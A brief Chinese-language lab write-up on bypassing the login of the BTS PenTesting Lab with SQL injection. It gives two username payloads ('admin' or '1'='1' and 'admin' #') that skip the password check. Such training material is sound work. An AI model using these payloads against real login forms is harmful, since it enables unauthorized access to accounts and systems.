BTS PenTesting Lab-Injection-sql injection-authentication bypass

Posted 2020-08-07

这是一个登陆认证的绕过。

注意：如果点击登陆出现404，请在login.php源码中搜索action，将其值改为login.php。

源码分析：/btslab/login.php

根据第9行,可构造绕过密码认证。

第一种   username:admin‘ or ‘1‘=‘1

            password:随意。

第二种   username:admin‘ #

            password:随意

欢迎补充。